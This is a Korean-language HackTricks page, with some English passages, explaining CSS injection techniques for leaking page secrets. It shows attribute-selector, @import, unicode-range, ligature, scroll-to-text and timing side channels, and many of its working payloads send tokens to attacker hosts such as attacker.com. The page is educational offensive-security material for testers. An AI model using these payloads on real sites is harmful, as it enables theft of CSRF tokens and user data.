CSS Injection

HackTricks 지원하기

CSS Injection

속성 선택자

CSS 선택자는 input 요소의 namevalue 속성 값을 일치시키도록 제작됩니다. 입력 요소의 값 속성이 특정 문자로 시작하면, 미리 정의된 외부 리소스가 로드됩니다:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

그러나 이 접근 방식은 숨겨진 입력 요소(type="hidden")를 처리할 때 제한에 직면합니다. 숨겨진 요소는 배경을 로드하지 않기 때문입니다.

숨겨진 요소 우회

이 제한을 우회하기 위해, ~ 일반 형제 결합기를 사용하여 후속 형제 요소를 타겟팅할 수 있습니다. 그러면 CSS 규칙이 숨겨진 입력 요소 다음에 오는 모든 형제에게 적용되어 배경 이미지가 로드됩니다:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.

CSS 인젝션을 위한 전제 조건

CSS 인젝션 기법이 효과적이기 위해서는 특정 조건이 충족되어야 합니다:

  1. 페이로드 길이: CSS 인젝션 벡터는 제작된 선택자를 수용할 수 있도록 충분히 긴 페이로드를 지원해야 합니다.

  2. CSS 재평가: 새로 생성된 페이로드로 CSS의 재평가를 트리거하기 위해 페이지를 프레임할 수 있어야 합니다.

  3. 외부 리소스: 이 기법은 외부 호스팅된 이미지를 사용할 수 있는 능력을 전제로 합니다. 이는 사이트의 콘텐츠 보안 정책(CSP)에 의해 제한될 수 있습니다.

블라인드 속성 선택자

이 게시물에서 설명된 바와 같이, **:has**와 :not 선택자를 결합하여 블라인드 요소에서도 콘텐츠를 식별할 수 있습니다. 이는 CSS 인젝션을 로드하는 웹 페이지의 내용이 무엇인지 전혀 모를 때 매우 유용합니다. 또한 이러한 선택자를 사용하여 동일한 유형의 여러 블록에서 정보를 추출할 수도 있습니다:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

이것을 다음 @import 기술과 결합하면, **blind-css-exfiltration**를 사용하여 블라인드 페이지에서 CSS 주입으로 많은 정보를 유출할 수 있습니다.

@import

이전 기술에는 몇 가지 단점이 있으므로, 전제 조건을 확인해야 합니다. 희생자에게 여러 링크를 보낼 수 있어야 하거나, CSS 주입 취약 페이지를 iframe으로 불러올 수 있어야 합니다.

그러나 **CSS @import**를 사용하여 기술의 품질을 향상시키는 또 다른 영리한 기술이 있습니다.

이것은 Pepe Vila에 의해 처음 보여졌으며, 다음과 같이 작동합니다:

매번 수십 개의 다른 페이로드로 같은 페이지를 반복해서 로드하는 대신(이전과 같이), 우리는 공격자의 서버로의 임포트만으로 페이지를 한 번만 로드할 것입니다(이것이 희생자에게 보낼 페이로드입니다):

@import url('//attacker.com:5001/start?');
  1. import는 공격자로부터 CSS 스크립트 일부를 수신할 것이고 브라우저는 이를 로드할 것입니다.

  2. 공격자가 보낼 CSS 스크립트의 첫 번째 부분은 다시 공격자의 서버에 대한 또 다른 @import입니다.

  3. 공격자의 서버는 이 요청에 아직 응답하지 않을 것이며, 우리는 몇 개의 문자를 유출한 다음 이 import에 페이로드를 응답하여 다음 문자를 유출하고자 합니다.

  4. 페이로드의 두 번째이자 더 큰 부분은 속성 선택자 유출 페이로드가 될 것입니다.

  5. 이는 공격자의 서버에 비밀의 첫 번째 문자와 마지막 문자를 보낼 것입니다.

  6. 공격자의 서버가 비밀의 첫 번째 문자와 마지막 문자를 수신하면, 2단계에서 요청된 import에 응답할 것입니다.

  7. 응답은 2, 3 및 4단계와 정확히 동일할 것이지만, 이번에는 비밀의 두 번째 문자와 그 다음 마지막 문자를 찾으려고 할 것입니다.

공격자는 비밀을 완전히 유출할 때까지 그 루프를 따를 것입니다.

원본 Pepe Vila의 이 코드를 여기서 찾아보세요 또는 거의 같은 코드지만 주석이 달린 것을 여기서 찾아보세요.

스크립트는 매번 2개의 문자를 발견하려고 시도할 것입니다 (시작 부분과 끝 부분에서) 왜냐하면 속성 선택자는 다음과 같은 작업을 가능하게 하기 때문입니다:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

이것은 스크립트가 비밀을 더 빠르게 유출할 수 있게 해줍니다.

가끔 스크립트가 접두사 + 접미사로 발견된 것이 이미 전체 플래그임을 올바르게 감지하지 못하고 계속 앞으로(접두사)와 뒤로(접미사) 진행하여 어느 순간 멈출 수 있습니다. 걱정하지 마세요, 출력을 확인하면 거기에서 플래그를 볼 수 있습니다.

다른 선택자

CSS 선택자로 DOM 부분에 접근하는 다른 방법:

  • .class-to-search:nth-child(2): 이는 DOM에서 "class-to-search" 클래스를 가진 두 번째 항목을 검색합니다.

  • :empty 선택자: 예를 들어 이 글에서 사용됩니다:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

참조: CSS 기반 공격: @font-face의 unicode-range 악용, @terjanq의 오류 기반 XS-Search PoC

전반적인 의도는 제어된 엔드포인트에서 사용자 정의 글꼴을 사용하고 지정된 리소스(favicon.ico)를 로드할 수 없는 경우에만 이 글꼴로 텍스트(이 경우 'A')가 표시되도록 하는 것입니다.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. 커스텀 폰트 사용:

  • <head> 섹션의 <style> 태그 내에서 @font-face 규칙을 사용하여 커스텀 폰트를 정의합니다.

  • 폰트 이름은 poc이며 외부 엔드포인트(http://attacker.com/?leak)에서 가져옵니다.

  • unicode-range 속성은 특정 유니코드 문자 'A'를 타겟으로 하여 U+0041로 설정됩니다.

  1. 대체 텍스트가 있는 객체 요소:

  • <body> 섹션에 id="poc0"<object> 요소가 생성됩니다. 이 요소는 http://192.168.0.1/favicon.ico에서 리소스를 로드하려고 시도합니다.

  • 이 요소의 font-family<style> 섹션에서 정의된 'poc'로 설정됩니다.

  • 리소스(favicon.ico) 로드에 실패하면 <object> 태그 내의 대체 콘텐츠(문자 'A')가 표시됩니다.

  • 외부 리소스를 로드할 수 없는 경우 대체 콘텐츠('A')는 커스텀 폰트 poc를 사용하여 렌더링됩니다.

스크롤-투-텍스트 프래그먼트 스타일링

:target 의사 클래스는 CSS 선택자 레벨 4 사양에서 지정된 대로 URL 프래그먼트에 의해 타겟팅된 요소를 선택하는 데 사용됩니다. ::target-text는 텍스트가 프래그먼트에 의해 명시적으로 타겟팅되지 않는 한 어떤 요소와도 일치하지 않는다는 점을 이해하는 것이 중요합니다.

공격자가 스크롤-투-텍스트 프래그먼트 기능을 악용할 때 보안 문제가 발생하며, 이를 통해 HTML 주입을 통해 자신의 서버에서 리소스를 로드하여 웹페이지에 특정 텍스트가 존재하는지 확인할 수 있습니다. 이 방법은 다음과 같은 CSS 규칙을 주입하는 것을 포함합니다:

:target::before { content : url(target.png) }

이러한 시나리오에서 "Administrator"라는 텍스트가 페이지에 존재하면, 리소스 target.png가 서버에서 요청되어 텍스트의 존재를 나타냅니다. 이 공격의 한 예는 주입된 CSS를 Scroll-to-text 조각과 함께 포함하는 특별히 제작된 URL을 통해 실행될 수 있습니다:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

여기서 공격은 HTML 주입을 조작하여 CSS 코드를 전송하며, "Administrator"라는 특정 텍스트를 목표로 합니다. Scroll-to-text fragment(#:~:text=Administrator)를 통해 텍스트가 발견되면, 지정된 리소스가 로드되어 공격자에게 그 존재를 무심코 신호합니다.

완화를 위해 다음 사항을 유의해야 합니다:

  1. 제한된 STTF 매칭: Scroll-to-text Fragment (STTF)는 단어 또는 문장만 매칭하도록 설계되어, 임의의 비밀이나 토큰이 유출되는 능력을 제한합니다.

  2. 최상위 브라우징 컨텍스트로 제한: STTF는 오직 최상위 브라우징 컨텍스트에서만 작동하며, iframe 내에서는 작동하지 않아, 어떤 악용 시도가 사용자에게 더 눈에 띄게 됩니다.

  3. 사용자 활성화 필요: STTF는 작동하기 위해 사용자 활성화 제스처가 필요하므로, 악용은 사용자 주도 탐색을 통해서만 가능하다는 의미입니다. 이 요구 사항은 사용자 상호작용 없이 공격이 자동화될 위험을 상당히 완화합니다. 그럼에도 불구하고 블로그 게시물의 저자는 공격 자동화를 용이하게 할 수 있는 특정 조건과 우회 방법(예: 사회 공학, 널리 사용되는 브라우저 확장과의 상호작용)을 지적합니다.

이러한 메커니즘과 잠재적 취약성에 대한 인식은 웹 보안을 유지하고 이러한 착취 전술로부터 보호하는 데 핵심입니다.

자세한 정보는 원본 보고서를 확인하세요: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

이 기술을 사용한 CTF용 익스플로잇을 여기에서 확인할 수 있습니다.

@font-face / unicode-range

특정 유니코드 값에 대해 외부 글꼴을 지정할 수 있으며, 해당 유니코드 값이 페이지에 존재할 때만 수집됩니다. 예를 들어:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

이 기술은 글꼴 리가처를 이용하여 노드에서 텍스트를 추출하고 너비 변화를 모니터링하는 것을 포함합니다. 이 과정은 여러 단계로 이루어집니다:

  1. 커스텀 폰트 생성:

  • SVG 폰트는 두 문자 시퀀스를 나타내는 글리프에 대해 큰 너비를 설정하는 horiz-adv-x 속성을 가진 글리프를 사용하여 제작됩니다.

  • 예시 SVG 글리프: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, 여기서 "XY"는 두 문자 시퀀스를 나타냅니다.

  • 이러한 폰트는 fontforge를 사용하여 woff 형식으로 변환됩니다.

  1. 너비 변화 감지:

  • CSS는 텍스트가 줄 바꿈되지 않도록 보장하고 (white-space: nowrap) 스크롤바 스타일을 사용자 정의하는 데 사용됩니다.

  • 특정 리가처, 즉 특정 문자 시퀀스가 텍스트에 존재함을 나타내는 수평 스크롤바의 출현은 지표(오라클) 역할을 합니다.

  • 관련 CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. 익스플로잇 과정:

  • 1단계: 상당한 너비를 가진 문자 쌍에 대한 폰트를 생성합니다.

  • 2단계: 큰 너비 글리프(문자 쌍에 대한 리가처)가 렌더링될 때를 감지하기 위해 스크롤바 기반의 트릭을 사용합니다.

  • 3단계: 리가처를 감지하면, 감지된 쌍을 포함하고 앞이나 뒤에 문자를 추가하여 세 문자 시퀀스를 나타내는 새로운 글리프가 생성됩니다.

  • 4단계: 세 문자 리가처의 감지가 수행됩니다.

  • 5단계: 이 과정은 반복되어 전체 텍스트를 점진적으로 드러냅니다.

  1. 최적화:

  • 현재 <meta refresh=...를 사용하는 초기화 방법은 최적이 아닙니다.

  • CSS @import 트릭을 사용하는 더 효율적인 접근 방식이 익스플로잇의 성능을 향상시킬 수 있습니다.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

이 트릭은 이 Slackers thread에서 공개되었습니다. 텍스트 노드에서 사용되는 문자 집합은 브라우저에 설치된 기본 폰트를 사용하여 유출될 수 있습니다: 외부 또는 사용자 정의 폰트가 필요하지 않습니다.

이 개념은 애니메이션을 활용하여 div의 너비를 점진적으로 확장하여 한 번에 하나의 문자가 텍스트의 '접미사' 부분에서 '접두사' 부분으로 전환되도록 하는 것입니다. 이 과정은 텍스트를 두 섹션으로 효과적으로 나눕니다:

  1. 접두사: 초기 줄.

  2. 접미사: 이후 줄.

문자의 전환 단계는 다음과 같이 나타납니다:

C ADB

CA DB

CAD B

CADB

이 전환 동안, unicode-range 트릭이 사용되어 접두사에 새 문자가 추가될 때마다 이를 식별합니다. 이는 Comic Sans로 글꼴을 전환하여 이루어지며, 이는 기본 글꼴보다 눈에 띄게 더 높아 수직 스크롤바를 유발합니다. 이 스크롤바의 출현은 접두사에 새 문자가 존재함을 간접적으로 드러냅니다.

이 방법은 고유한 문자가 나타날 때 감지할 수 있지만, 어떤 문자가 반복되었는지는 명시하지 않고 단지 반복이 발생했음을 나타냅니다.

기본적으로, unicode-range는 문자를 감지하는 데 사용되지만, 외부 폰트를 로드하고 싶지 않기 때문에 다른 방법을 찾아야 합니다. 문자발견되면, 미리 설치된 Comic Sans 폰트주어져 문자가 더 커지게 하고 스크롤 바를 유발하여 발견된 문자를 유출합니다.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

이 경우는 이전 경우와 매우 유사하지만, 이 경우 특정 문자를 다른 문자보다 크게 만들어서 봇이 누르지 않도록 버튼이나 로드되지 않을 이미지를 숨기는 것이 목표입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: This is mentioned as an unsuccessful solution in this writeup

이 경우, 우리는 동일한 출처에서 가짜 글꼴을 로드하여 텍스트에 문자가 있는지 유출하려고 시도할 수 있습니다:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

만약 일치하는 경우, 폰트는 /static/bootstrap.min.css?q=1에서 로드됩니다. 비록 성공적으로 로드되지는 않겠지만, 브라우저는 이를 캐시해야 하며, 캐시가 없더라도 304 not modified 메커니즘이 있으므로, 응답은 다른 것들보다 더 빠를 것입니다.

하지만 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않다면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 disk-cache-size=1 플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.

텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음)

참고: 이는 이 글에서 실패한 해결책으로 언급됩니다

이 경우, 일치하는 경우 CSS를 사용하여 동일한 출처에서 수백 개의 가짜 폰트를 로드하도록 지시할 수 있습니다. 이렇게 하면 시간을 측정하고 문자 발생 여부를 확인할 수 있습니다:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

그리고 봇의 코드는 다음과 같습니다:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

그래서, 글꼴이 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 글꼴이 일치하면 글꼴을 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸립니다. 따라서 응답 시간은 글꼴 일치 여부를 판단하는 지표로 사용될 수 있습니다.

References

Support HackTricks

Last updated